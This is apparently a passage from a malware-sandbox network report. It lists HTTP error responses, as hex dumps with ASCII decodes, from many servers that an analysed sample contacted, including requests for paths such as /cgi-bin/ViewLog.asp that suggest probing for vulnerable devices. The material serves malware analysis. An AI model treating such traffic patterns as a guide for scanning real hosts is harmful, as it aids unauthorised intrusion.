20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 68 31 3e 0d 0a 41 20 70 e1 67 69 6e 61 20 71 75 65 20 76 6f 63 ea 20 65 73 74 e1 20 70 72 6f 63 75 72 61 6e 64 6f 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 72 65 6d 6f 76 69 64 61 2c 20 6f 20 73 65 75 20 6e 6f 6d 65 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 61 6c 74 65 72 61 64 6f 20 6f 75 20 74 61 6c 76 65 7a 20 65 6c 61 20 6e e3 6f 20 65 73 74 65 6a 61 20 64 69 73 70 6f 6e ed 76 65 6c 20 74 65 6d 70 6f 72 61 72 69 61 6d 65 6e 74 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 6e 74 65 20 6f 20 73 65 67 75 69 6e 74 65 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 43 65 72 74 69 66 69 71 75 65 2d 73 65 20 64 65 20 71 75 65 20 6f 20 65 6e 64 65 72 65 e7 6f 20 64 6f 20 73 69 74 65 20 65 78 69 62 69 64 6f 20 6e 61 20 62 61 72 72 61 20 64 65 20 65 6e 64 65 72 65 e7 6f 73 20 64 6f 20 6e 61 76 65 67 61 64 6f 72 20 65 73 74 e1 20 65 73 63 72 69 74 6f 20 65 20 66 6f 72 6d 61 74 61 64 6f 20 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 53 65 20 76 6f 63 ea 20 61 63 65 73 73 6f 75 20 65 73 74 61 20 70 e1 67 69 6e 61 20 63 6c 69 63 61 6e 64 6f 20 65 6d 20 75 6d 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 74 65 20 6f 20 61 64 6d 69 6e 69 73 74 72 61 64 6f 72 20 64 6f 20 73 69 74 65 20 70 61 72 61 20 61 6c 65 72 74
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 04:17:36 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 04:17:36 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:41 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:41 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:42 GMTX-Frame-Options: SAMEORIGINcontent-security-policy: default-src 'self' https://www.google-analytics.com/; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://www.googletagmanager.com/; img-src 'self';Strict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockLast-Modified: Wed, 08 Feb 2023 05:09:17 GMTETag: "2fd-5f429441ad940"Accept-Ranges: bytesContent-Length: 765Pragma: no-cacheCache-Control: no-store, no-cache, must-revalidateExpires: 0Keep-Alive: timeout=10, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 53 43 46 2d 41 43 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 64 69 76 2e 65 72 72 6f 72 41 72 65 61 20 7b 0a 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 42 30 43 34 44 45 3b 0a 09 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 09 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 33 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 30 25 3b 0a 09 68 65 69 67 68 74 3a 20 34 30 30 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 33 30 70 78 20 61 75 74 6f 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 31 35 70 78 20 31 35 70 78 3b 0a 09 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 41 72 65 61 22 3e 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 3e 0a 09 09 09 3c 64 69 76 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>SCF-AC</title><style type="text/css">div.errorArea {border-color: #B0C4DE;border-style: solid;border-width: 3px;font-size: 90%;height: 400px;margin: 30px auto;padding: 0 15px 15px;width: 600px;}</style></head><body><div class="errorArea"><table width="100%"><tr><td><div
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:43 GMTServer: Apache/2.2.29 (Unix) PHP/5.3.29 mod_ssl/2.2.29 OpenSSL/0.9.8zfContent-Length: 320Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1X-Pad: avoid browser bugData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 39 20 28 55 6e 69 78 29 20 50 48 50 2f 35 2e 33 2e 32 39 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 32 39 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 7a 66 20 53 65 72 76 65 72 20 61 74 20 30 2e 30 2e 30 2e 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><hr><address>Apache/2.2.29 (Unix) PHP/5.3.29 mod_ssl/2.2.29 OpenSSL/0.9.8zf Server at 0.0.0.0 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:43 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c685a0-157"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Thu, 21 Mar 2024 04:17:43 GMTServer: lighttpd/1.4.35Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 6436791184606920364Connection: closeServer: lego_p29Date: Thu, 21 Mar 2024 04:17:45 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 97816
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 97816
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencache-control: no-cachecontent-type: text/htmlserver: nginxconnection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 68 73 6c 61 28 30 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 31 33 25 20 39 39 25 2c 20 68 73 6c 61 28 32 35 38 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 37 32 25 20 39 36 25 2c 20 68 73 6c 61 28 33 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 38 37 25 20 36 33 25 2c 20 68 73 6c 61 28 31 32 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 34 39 25 20 35 35 25 2c 20 68 73 6c 61 28 31 32 36 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c682c2-157"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveX-Xss-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:18:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 26 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4e 8e a7 cf a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzF&zIy%jaC]N0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
